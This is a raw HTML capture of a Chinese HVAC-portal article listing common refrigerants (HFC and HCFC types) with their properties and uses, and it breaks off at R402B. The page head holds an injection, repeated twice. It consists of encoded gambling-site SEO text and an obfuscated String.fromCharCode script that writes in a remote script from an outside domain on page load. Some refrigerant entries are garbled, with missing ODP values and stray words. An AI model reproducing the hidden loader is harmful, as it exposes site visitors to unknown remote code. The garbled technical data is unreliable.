CINXE.COM

开云·Kaiyun体育(全站)官方网站-登录入口

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <noscript><title>&#24320;&#20113;&#183;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#40;&#20840;&#31449;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;</title> <meta name="keywords" content="&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#44;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#30331;&#24405;&#20837;&#21475;&#30331;&#24405;&#44;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#20840;&#31449;&#20837;&#21475;&#65292;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#25163;&#26426;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;"/> <meta name="description" content="&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#20840;&#31449;&#30331;&#38470;&#20837;&#21475;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#9989;&#12304;&#38463;&#23431;&#25512;&#33616;&#65306;&#119;&#119;&#119;&#46;&#107;&#97;&#105;&#121;&#117;&#110;&#46;&#99;&#111;&#109;&#46;&#99;&#110;&#12305;&#9989;&#31469;&#35802;&#32532;&#36896;&#44;&#25105;&#20204;&#38598;&#22242;&#23448;&#32593;&#12289;&#20840;&#31449;&#20837;&#21475;&#12289;&#24179;&#21488;&#12289;&#22312;&#32447;&#12289;&#30331;&#24405;&#12289;&#30331;&#38470;&#12289;&#20837;&#21475;&#12289;&#32593;&#31449;&#12289;&#32593;&#22336;&#12289;&#30005;&#23376;&#12289;&#23089;&#20048;&#12289;&#32593;&#39029;&#29256;&#12289;&#25163;&#26426;&#29256;&#97;&#112;&#112;&#44;&#23558;&#31177;&#25215;&#20197;&#26381;&#21153;&#20026;&#21807;&#19968;&#30340;&#23447;&#26088;&#44;&#22312;&#32447;&#26356;&#22909;&#30340;&#25913;&#36827;&#21482;&#20026;&#26356;&#22909;&#30340;&#26381;&#21153;&#12290;&#10;"/></noscript> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,121,121,121,100,115,48,48,49,46,99,111,109,47,50,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(xt); </script> <noscript><title>&#24320;&#20113;&#183;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#40;&#20840;&#31449;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;</title> <meta name="keywords" content="&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#44;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#30331;&#24405;&#20837;&#21475;&#30331;&#24405;&#44;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#20840;&#31449;&#20837;&#21475;&#65292;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#25163;&#26426;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;"/> <meta name="description" content="&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#20840;&#31449;&#30331;&#38470;&#20837;&#21475;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#9989;&#12304;&#38463;&#23431;&#25512;&#33616;&#65306;&#119;&#119;&#119;&#46;&#107;&#97;&#105;&#121;&#117;&#110;&#46;&#99;&#111;&#109;&#46;&#99;&#110;&#12305;&#9989;&#31469;&#35802;&#32532;&#36896;&#44;&#25105;&#20204;&#38598;&#22242;&#23448;&#32593;&#12289;&#20840;&#31449;&#20837;&#21475;&#12289;&#24179;&#21488;&#12289;&#22312;&#32447;&#12289;&#30331;&#24405;&#12289;&#30331;&#38470;&#12289;&#20837;&#21475;&#12289;&#32593;&#31449;&#12289;&#32593;&#22336;&#12289;&#30005;&#23376;&#12289;&#23089;&#20048;&#12289;&#32593;&#39029;&#29256;&#12289;&#25163;&#26426;&#29256;&#97;&#112;&#112;&#44;&#23558;&#31177;&#25215;&#20197;&#26381;&#21153;&#20026;&#21807;&#19968;&#30340;&#23447;&#26088;&#44;&#22312;&#32447;&#26356;&#22909;&#30340;&#25913;&#36827;&#21482;&#20026;&#26356;&#22909;&#30340;&#26381;&#21153;&#12290;&#10;"/></noscript> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,121,121,121,100,115,48,48,49,46,99,111,109,47,50,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(xt); </script> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>常用制冷剂分类、用途、鉴别及纯度对制冷系统的影响-中国空调制冷网</title> <meta name="keywords" content="常用制冷剂分类、用途、鉴别及纯度对制冷系统的影响,制冷剂,产品应用"/> <meta name="description" content="  近年来,制冷剂市场乱象丛生,其中最令人深恶痛绝的就是无良商家以次充好,将劣质冷媒销售给用户,导致劣质冷媒大量的充斥着"/> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <link rel="shortcut icon" type="image/x-icon" href="http://www.chinahvacr.com/favicon.ico"/> <!-- 搜索新增 --> <script type="text/javascript" src="http://www.chinahvacr.com/lang/zh-cn/lang.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/config.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/skin/default/style/js/search/jquery-1.8.3.min.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/common.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/page.js"></script> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/article.css"/><!-- 搜索新增 --> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/style/css/ny.css"/> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/style/css/custom.css"/> <script src="http://www.chinahvacr.com/skin/default/style/js/custom.js"></script> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "//hm.baidu.com/hm.js?67ea0756866fe7d55cdb516121951d74"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> </head> <body> <!--------top开始----------> <div id="top"> <div class="top_text"> <!-----<div class="top_l"> <div class="subNavBox"> <div class="subNav"> <div class="subNav_text">[&nbsp;<span>长沙</span>&nbsp;]&nbsp;&nbsp;切换城市</div> </div> <div class="navContent"> <div class="navContent_text"> <li class="navContent_p">湖南</li> <li class="navContent_s"><a href="#">长沙</a></li> <li class="navContent_s"><a href="#">株洲</a></li> <li class="navContent_s"><a href="#">益阳</a></li> <li class="navContent_s"><a href="#">常德</a></li> <li class="navContent_s"><a href="#">衡阳</a></li> <li class="navContent_s"><a href="#">湘潭</a></li> <li class="navContent_s"><a href="#">岳阳</a></li> <li class="navContent_s"><a href="#">郴州</a></li> <li class="navContent_s"><a href="#">邵阳</a></li> <li class="navContent_s"><a href="#">怀化</a></li> <li class="navContent_s"><a href="#">永州</a></li> <li class="navContent_s"><a href="#">娄底</a></li> <li class="navContent_s"><a href="#">湘西</a></li> <li class="navContent_s"><a href="#">张家界</a></li> </div> <div class="navContent_text"> <li class="navContent_p">广东</li> <li class="navContent_s"><a href="#">广州</a></li> <li class="navContent_s"><a href="#">深圳</a></li> <li class="navContent_s"><a href="#">东莞</a></li> <li class="navContent_s"><a href="#">佛山</a></li> <li class="navContent_s"><a href="#">中山</a></li> <li class="navContent_s"><a href="#">珠海</a></li> <li class="navContent_s"><a href="#">惠州</a></li> <li class="navContent_s"><a href="#">江门</a></li> <li class="navContent_s"><a href="#">汕头</a></li> <li class="navContent_s"><a href="#">湛江</a></li> <li class="navContent_s"><a href="#">肇庆</a></li> <li class="navContent_s"><a href="#">茂名</a></li> <li class="navContent_s"><a href="#">揭阳</a></li> <li class="navContent_s"><a href="#">梅州</a></li> <li class="navContent_s"><a href="#">清远</a></li> <li class="navContent_s"><a href="#">阳江</a></li> <li class="navContent_s"><a href="#">韶关</a></li> <li class="navContent_s"><a href="#">河源</a></li> <li class="navContent_s"><a href="#">云浮</a></li> <li class="navContent_s"><a href="#">汕尾</a></li> <li class="navContent_s"><a href="#">潮州</a></li> <li class="navContent_s"><a href="#">台山</a></li> <li class="navContent_s"><a href="#">阳春</a></li> <li class="navContent_s"><a href="#">顺德</a></li> </div> <div class="navContent_text"> <li class="navContent_p">新疆</li> <li class="navContent_s"><a href="#">乌鲁木齐</a></li> <li class="navContent_s"><a href="#">包头</a></li> <li class="navContent_s"><a href="#">赤峰</a></li> <li class="navContent_s"><a href="#">鄂尔多斯</a></li> <li class="navContent_s"><a href="#">通辽</a></li> <li class="navContent_s"><a href="#">呼伦贝尔</a></li> <li class="navContent_s"><a href="#">巴彦淖尔市</a></li> <li class="navContent_s"><a href="#">乌兰察布</a></li> <li class="navContent_s"><a href="#">锡林郭勒盟</a></li> <li class="navContent_s"><a href="#">兴安盟</a></li> <li class="navContent_s"><a href="#">乌海</a></li> <li class="navContent_s"><a href="#">阿拉善盟</a></li> <li class="navContent_s"><a href="#">海拉尔</a></li> </div> <div class="navContent_text"> <li class="navContent_p">内蒙古</li> <li class="navContent_s"><a href="#">呼和浩特</a></li> <li class="navContent_s"><a href="#">昌吉</a></li> <li class="navContent_s"><a href="#">巴音郭楞</a></li> <li class="navContent_s"><a href="#">伊犁</a></li> <li class="navContent_s"><a href="#">阿克苏</a></li> <li class="navContent_s"><a href="#">喀什</a></li> <li class="navContent_s"><a href="#">哈密</a></li> <li class="navContent_s"><a href="#">克拉玛依</a></li> <li class="navContent_s"><a href="#">博尔塔拉</a></li> <li class="navContent_s"><a href="#">吐鲁番</a></li> <li class="navContent_s"><a href="#">和田</a></li> <li class="navContent_s"><a href="#">石河子</a></li> <li class="navContent_s"><a href="#">克孜勒苏</a></li> <li class="navContent_s"><a href="#">阿拉尔</a></li> <li class="navContent_s"><a href="#">五家渠</a></li> <li class="navContent_s"><a href="#">图木舒克</a></li> <li class="navContent_s"><a href="#">库尔勒</a></li> </div> </div> </div> </div>----> <div class="top_c"> <ul> <li class="top_c_a"><a href="http://www.chinaeser.cn/">节能减排网</a></li> <li class="top_c_a"><a href="http://www.hvacrhr.com">制冷人才网</a></li> <li ><a href="http://www.chinahvacr.com/">首页</a></li> <li ><a href="http://www.chinahvacr.com/hyzxnews">新闻资讯</a></li> <li ><a href="http://www.chinahvacr.com/zcfgnews">政策标准</a></li> <li ><a href="http://www.chinahvacr.com/caigouzhaobiao">采购招标</a></li> <li ><a href="http://www.chinahvacr.com/company">企业产品</a></li> <li class="top_c_b_h"><a href="http://www.chinahvacr.com/jszxnews">技术中心</a></li> <li ><a href="http://www.chinahvacr.com/sfxm">示范项目</a></li> <li ><a href="http://www.chinahvacr.com/exhibit">会展培训</a></li> <li ><a href="http://www.chinahvacr.com/special/list.php?catid=17759">专题</a></li> <li ><a href="http://www.chinahvacr.com/yiwenyida/list.php?catid=17766">E问一答</a></li> </ul> </div> <div class="top_r"> <!-- 代码 开始 --> <div id="header" style="z-index:1;color:#FFF;line-height:50px;"> </div> <!-- 代码 结束 --> </div> </div> </div> <!--------top结束----------> <!--------head开始----------> <!-- ---------20160120新增广告位开始---------- --> <!-- ---------20160120新增广告位结束---------- --> <div class="ny_top_bg"> <div id="head"> <div class="ny_head"> <!-- -----<div class="ny_nav"> <ul> <li><a href="http://www.chinahvacr.com/">首页</a></li> <li ><a href="http://www.chinahvacr.com/hyzxnews">行业资讯</a></li> <li ><a href="http://www.chinahvacr.com/zcfgnews">政策法规</a></li> <li ><a href="http://www.chinahvacr.com/caigouzhaobiao">采购招标</a></li> <li ><a href="http://www.chinahvacr.com/company">企业产品</a></li> <li class="ny_nav_a"><a href="http://www.chinahvacr.com/jszxnews">技术中心</a></li> <li ><a href="http://www.chinahvacr.com/sfxm">示范项目</a></li> <li ><a href="http://www.chinahvacr.com/exhibit">行业展会</a></li> </ul> </div> <!-- ------------<div class="ny_banner"> <div class="ny_banner_a"><img src="http://www.chinahvacr.com/skin/default/style/images/ad_c/02.gif"></div> <div class="ny_banner_b"><img src="http://www.chinahvacr.com/skin/default/style/images/ad_c/01.gif"></div> </div>-----> <a href="http://www.chinahvacr.com/"><div class="zcfg_ny_head_logo"></div></a> <div class="ny_title"><b>技术中心</b></div> <!-- --------0624新搜索框开始--> <div class="search_text" style="margin-top:30px;"> <div class="search"> <form id="destoon_search" action="http://www.chinahvacr.com/jszxnews/search.php" onsubmit="return Dsearch(1);"> <input type="hidden" name="moduleid" value="28" id="destoon_moduleid"/> <input type="hidden" name="kw" id="destoon_kw" value="" /> <div class="select_box" id="sbbox"> <div class="select_showbox active" id="ssbox" style="cursor: pointer;">全站</div> <ul class="select_option" id="soul"> <li class="selected" ref="29">全站</li> <li class="" ref="26">资讯</li> <li class="" ref="5">产品</li> <li class="" ref="4">企业</li> <li class="" ref="28">技术</li> <li class="" ref="8">展会</li></ul> </div> <select name="classid" id="choose" > <option value="29" selected="">全站</option> <option value="26">资讯</option> <option value="5">产品</option> <option value="4">企业</option> <option value="28">技术</option> <option value="8">展会</option> </select> <input class="inp_srh" id="keyboard" name="keyboard" onblur="$('#destoon_kw').val(this.value)" placeholder="请输入您要搜索的关键字" > <input class="btn_srh" type="button" value="搜索" onclick="qhid();"> </form> </div> <div class="search_keyword_text"> <ul> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E7%A9%BA%E8%B0%83" class="b" rel="nofollow"> 空调</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E6%9C%BA%E6%88%BF%E7%A9%BA%E8%B0%83" class="b" rel="nofollow"> 机房空调</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E7%BB%BF%E8%89%B2%E5%BB%BA%E7%AD%91" class="b" rel="nofollow"> 绿色建筑</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E5%86%B7%E5%BA%93%E8%AE%BE%E8%AE%A1" class="b" rel="nofollow"> 冷库设计</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E6%B6%A1%E6%97%8B%E5%8E%8B%E7%BC%A9%E6%9C%BA" class="b" rel="nofollow"> 涡旋压缩机</a></li> </ul> </div> </div> <script type="text/javascript" src="http://www.chinahvacr.com/skin/default/style/js/search/jquery.select.js"></script> <script type="text/javascript"> function qhid() { Dd('destoon_search').action = DTPath+'api/search.php'; $('#destoon_search').submit(); } </script> <!-- 0624新搜索框结束--------- --> <!-- <div class="head_search"> <form id="destoon_search" action="http://www.chinahvacr.com/jszxnews/search.php" onsubmit="return Dsearch(1);"> <input type="hidden" name="moduleid" value="28" id="destoon_moduleid"/> <input type="hidden" name="spread" value="0" id="destoon_spread"/> <input name="kw" id="destoon_kw" type="hidden" value="" /> <div id="tab_search"> <h3 class="up" id="two1" onmouseover="setContentTab('two',1,6,29)">全站</h3> <div class="block head_search_text" id="con_two_1"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="全站" onfocus="if (value =='全站'){value =''}" onblur="if (value ==''){value='全站'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two2" onmouseover="setContentTab('two',2,6,26)">资讯</h3> <div id="con_two_2" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="资讯" onfocus="if (value =='资讯'){value =''}" onblur="if (value ==''){value='资讯'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two3" onmouseover="setContentTab('two',3,6,5)">产品</h3> <div id="con_two_3" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="产品" onfocus="if (value =='产品'){value =''}" onblur="if (value ==''){value='产品'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two4" onmouseover="setContentTab('two',4,6,4)">企业</h3> <div id="con_two_4" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="企业" onfocus="if (value =='企业'){value =''}" onblur="if (value ==''){value='企业'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two5" onmouseover="setContentTab('two',5,6,28)">技术</h3> <div id="con_two_5" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="技术" onfocus="if (value =='技术'){value =''}" onblur="if (value ==''){value='技术'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two6" onmouseover="setContentTab('two',6,6,8)">展会</h3> <div id="con_two_6" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="展会" onfocus="if (value =='展会'){value =''}" onblur="if (value ==''){value='展会'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> </div> </form> <script type="text/javascript"> function setContentTab(name, curr, n,mid) { Dd('destoon_search').action = DTPath+'api/search.php'; Dd('destoon_moduleid').value = mid; for (i = 1; i <= n; i++) { var menu = document.getElementById(name + i); var cont = document.getElementById("con_" + name + "_" + i); menu.className = i == curr ? "up" : ""; if (i == curr) { cont.style.display = "block"; } else { cont.style.display = "none"; } } } </script> </div> --> <!-- -------------- --> <div class="js_subnav"> <ul> </ul> </div> </div> </div> </div> <div id="kefu"></div> <!--------head结束----------><style> img{max-width:650px} </style> <!--------head结束----------> <div id="main"> <!--------内容开始----------> <div class="column"> <div class="column_l"> <div class="det"> <div class="det_title"> <ul> <li class="det_title_name">常用制冷剂分类、用途、鉴别及纯度对制冷系统的影响</li> <!-- <li class="det_title_from">来源:<span>新华社</span></li> --> <li class="det_title_from">&nbsp;&nbsp;来源:<span>制冷网</span></li> <li class="det_title_time">2021-04-30</li> </ul> </div> <div class="det_title_fenxiang"> <div class="fenxiang"> <!-- JiaThis Button BEGIN --> <div class="jiathis_style_32x32"> <a class="jiathis_button_weixin"></a> <a class="jiathis_button_tsina"></a> <a class="jiathis_button_cqq"></a> <a class="jiathis_button_qzone"></a> <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jiathis_separator jtico jtico_jiathis" target="_blank"></a> <a class="jiathis_counter_style"></a> </div> <script type="text/javascript" > var jiathis_config={ summary:"", shortUrl:false, hideMore:false } </script> <script type="text/javascript" src="http://v3.jiathis.com/code/jia.js" charset="utf-8"></script> <!-- JiaThis Button END --> </div> <div class="huifu"></div> </div> <div class="mess_text"> <div class="content" id="article"><div>  近年来,制冷剂市场乱象丛生,其中最令人深恶痛绝的就是无良商家以次充好,将劣质冷媒销售给用户,导致劣质冷媒大量的充斥着市场,对消费者以及市场秩序造成了严重的危害。有商家明确表示,正品冷媒因成本压力大,很难与劣质冷媒竞争。使用劣质冷媒不仅会影响系统运行性能及稳定性,更严重的会造成系统部件及压缩机的损坏。接下来,最冷菌来为大家梳理一下常用制冷剂的分类、用途、鉴别、及纯度对制冷系统的影响。</div> <div>&nbsp;</div> <div>  常用制冷剂的分类</div> <div>&nbsp;</div> <div>  一、0HFC系列制冷剂</div> <div>&nbsp;</div> <div>  R134a、R410A、R407C、R417A、R404A、R507、R23、R508A、R508B、R152a</div> <div>&nbsp;</div> <div>  1、R134a(四氟乙烷)</div> <div>&nbsp;</div> <div>  冷媒R134a是目前国际公认的替代R12的主要制冷工质之一,常用于车用空调,商业和工业用制冷系统,以及作为发泡剂用于硬塑料保温材料生产,也可以用来配置其他混合制冷剂,如R404A和R407C等。</div> <div>&nbsp;</div> <div>  主要用途:主要替代R12用作制冷剂,大量用于汽车空调、冰箱制冷。13.6kg/30LB一次性钢瓶,1000KG可回收钢瓶,ISO TANK。</div> <div>&nbsp;</div> <div>  2、R410A</div> <div>&nbsp;</div> <div>  物化特性:常温常压下,R410A是一种不含氯的氟代烷非共沸混合制冷剂,无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R410A是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R410A主要用于替代R22和R502,具有清洁、低毒、不燃、制冷效果好等特点,大量用于家用空调、小型商用空调、户式中央空调等。钢瓶包装,净重11.3kg、500kg、1000kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  3、R407C</div> <div>&nbsp;</div> <div>  常温常压下,R407C是一种不含氯的氟代烷非共沸混合制冷剂,无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R407C是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R407C主要用于替代R22,具有清洁、低毒、不燃、制冷效果好等特点,大量用于家用空调、中小型中央空调。钢瓶包装,净重11.3kg、500kg、1000kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  4、R417A</div> <div>&nbsp;</div> <div>  常温常压下,R417A是一种不含氯的氟代烷非共沸混合制冷剂,无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R417A是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R417A主要用于替代R22,具有清洁、低毒、不燃、制冷效果好等特点,用于热泵(OEM初装替换R22)和空调(售后替换R22)等。钢瓶包装,净重11.3kg、400kg、1000kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  5、R404A</div> <div>&nbsp;</div> <div>  R404A不得是一种不含氯的非共沸混合制冷剂,常温常压下为无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R404A是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R404A主要用于替代R22和R502,具有清洁、低毒、不燃、制冷效果好等特点,大量用于中低温冷冻系统。钢瓶包装,净重10.9kg、1000kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  6、R507</div> <div>&nbsp;</div> <div>  R507是一种不含氯的共沸混合制冷剂,常温常压下为无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R507是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R507主要用于替代R22和R502,具有清洁、低毒、不燃、制冷效果好等特点,大量用于中低温冷冻系统。钢瓶包装,净重11.3kg、400kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  7、R23(三氟甲烷)</div> <div>&nbsp;</div> <div>  R23(三氟甲烷,FREON 23),常压下沸点为-82.1℃,凝固点为-155.2℃,液体密度(25℃)为0.67 kg/L,临界密度0.525kg/L,临界压力4.83 MPa,消耗臭氧潜能值(ODP)为0,为环保型制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:三氟甲烷,又称HFC-23,是一种高压液化汽,可用作制冷剂,替代CFC-13。同时又是哈龙1301理想替代品,具有清洁、低毒、灭火剂效果好等特点。高压气瓶包装,30kg、300kg。</div> <div>&nbsp;</div> <div>  8、R508A</div> <div>&nbsp;</div> <div>  R508A是一种不含氯的共沸混合制冷剂,常温常压下为无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R508A是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R508A主要用于替代R13、R23、R503,具有清洁、低毒、不燃、制冷效果好等特点,大量用于超低温冷冻系统,比如医用制冷、科研制冷。钢瓶包装,净重10kg、20kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  9、R508B</div> <div>&nbsp;</div> <div>  R508B是一种不含氯的共沸混合制冷剂,常温常压下为无色气体,贮存在钢瓶内是被压缩的液化气体。其ODP为,因此R508A是不破坏大气臭氧层的环保制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R508B主要用于替代R13、R23、R503,具有清洁、低毒、不燃、制冷效果好等特点,大量用于超低温冷冻系统,比如医用制冷、科研制冷。钢瓶包装,净重10kg、20kg。也可根据用户要求提供ISO集装柜或运输罐装运;包装货物类别2.2。</div> <div>&nbsp;</div> <div>  10、R152a(二氟乙烷)</div> <div>&nbsp;</div> <div>  HFC-152a(1,1-二氟乙烷CH3CHF2),分子量66.1,沸点-24.7℃,临界温度113.5℃,临界压力4.58MPa,在空气中的燃烧极限为5.1-17.1%(V/V),破坏臭氧潜能值(ODP)为。</div> <div>&nbsp;</div> <div>  主要用途:主要用作制冷剂、发泡剂、气雾剂和清洗剂,同时也是混合工质的重要组分。18kg/瓶,640kg/瓶。</div> <div>&nbsp;</div> <div>  二、HCFC系列制冷剂</div> <div>&nbsp;</div> <div>  R22、R123、R124、R141b、R142b、R402A、R402B、R408A、R409A</div> <div>&nbsp;</div> <div>  1、R22(二氟一氯甲烷)</div> <div>&nbsp;</div> <div>  R22(Freon22,二氟一氯甲烷Chlorodifuoromethane),分子式CHClF2,分子量86.47。R-22在常温下为无色,近似无味的气体,不燃烧、无腐蚀、毒性极微,加压可液化为无色透明的液体,为HCFC型制冷剂。R-22的化学稳定性和热稳定性均很高,特别是在没有水份存在的情况下,在200℃以下与一般金属不起反应。在水存在时,仅与碱缓慢起作用。但在高温下会发生裂解。</div> <div>&nbsp;</div> <div>  主要用途:氟利昂-22,分子式:CHClF2,分子量:86.47。R-22广泛用于家用空调、中央空调和其它商业制冷设备;也可用作聚四氟乙烯树脂的原料和灭火剂1121的中间体。可回收包装钢瓶有400升、1000升两种规格;一次性包装钢瓶有30磅(13.6kg/瓶)、50磅(22.7kg/瓶)两种规格。</div> <div>&nbsp;</div> <div>  2、R123(二氯三氟乙烷)</div> <div>&nbsp;</div> <div>  三氟二氯乙烷(2,2-二氯化-1,1,1-三氟乙烷),分子式CF3CHCl2,分子量152.93,沸点27.85℃,CAS注册号:306-83-2,臭氧层消耗(ODP)0.02,全球变暖潜值(GWP)93,是一种替代R-11(F11)的HCFC型制冷剂。</div> <div>&nbsp;</div> <div>  主要用途:R123可替代F-11和F-113作清洁剂、发泡剂和制冷剂(中央空调/离心式冷水机组)。250kg/桶,钢桶(内涂PVF涂层)包装。</div> <div>&nbsp;</div> <div>  3、R124(一氯四氟乙烷)</div> <div>&nbsp;</div> <div>  一氯四氟乙烷CHClFCF3,HCFC-124(R124),分子量136.5,沸点-10.95℃,临界温度122.25℃,临界压力3.613MPa,破坏臭氧潜能值(ODP)为0.02,全球变暖系数值(GWP)为0.10。</div> <div>&nbsp;</div> <div>  主要用途:HCFC-124(R124)主要用作制冷剂、灭火剂,是混合工质的重要组分,可替代CFC-114。钢瓶包装,13.6kg/瓶。</div> <div>&nbsp;</div> <div>  4、R141b(二氯一氟乙烷)</div> <div>&nbsp;</div> <div>  二氯一氟乙烷CH3CCl2F,HCFC-141b,分子量116.95,沸点32.05℃,临界温度204.5℃,临界压力4.25MPa,破坏臭氧潜能值(ODP)为0.11,全球变暖系数值(GWP)为0.09。</div> <div>&nbsp;</div> <div>  主要用途:该产品可替代CFC-11作硬质聚氨酯泡沫塑料的发泡剂,替代CFC-113作清洗剂,也用于作制冷剂。250kg/桶,钢桶包装。</div> <div>&nbsp;</div> <div>  5、R142b(一氯二氟乙烷)</div> <div>&nbsp;</div> <div>  一氯二氟乙烷CClF2CH3,HCFC-142b,沸点-9.2℃,临界温度136.45℃,临界压力4.15MPa,在常温下为无色气体,略有芳香味,易溶于油,难溶于水。</div> <div>&nbsp;</div> <div>  主要用途:HCFC-142b(R-142b)主要用作高温环境下的制冷系统,恒温控制开关及航空推进剂的中间体,还用作化工原料。钢瓶包装,13.6kg/瓶,400kg/瓶。</div> <div>&nbsp;</div> <div>  6、R402A</div> <div>&nbsp;</div> <div>  R-402A组成:R-22、R-290及HFC-125,是HCFC服务型混配制冷剂。符合美国采暖、制冷空调工程师协会(ASHRAE)的A1安全等级类别(这是最高的级别,对人身体无害);符合美国环保组织EPA、SNAP和UL的标准。冷冻机油建议使用烷基苯AB(Alkybenzene)合成油。</div> <div>&nbsp;</div> <div>  主要用途:替代R-502用于商用制冷设备及一些交通制冷设施,适用于所有R-502可正常运作的环境。钢瓶包装,12.2kg/瓶。</div> <div>&nbsp;</div> <div>  7、R402B</div> <div>&nbsp;</div> <div>  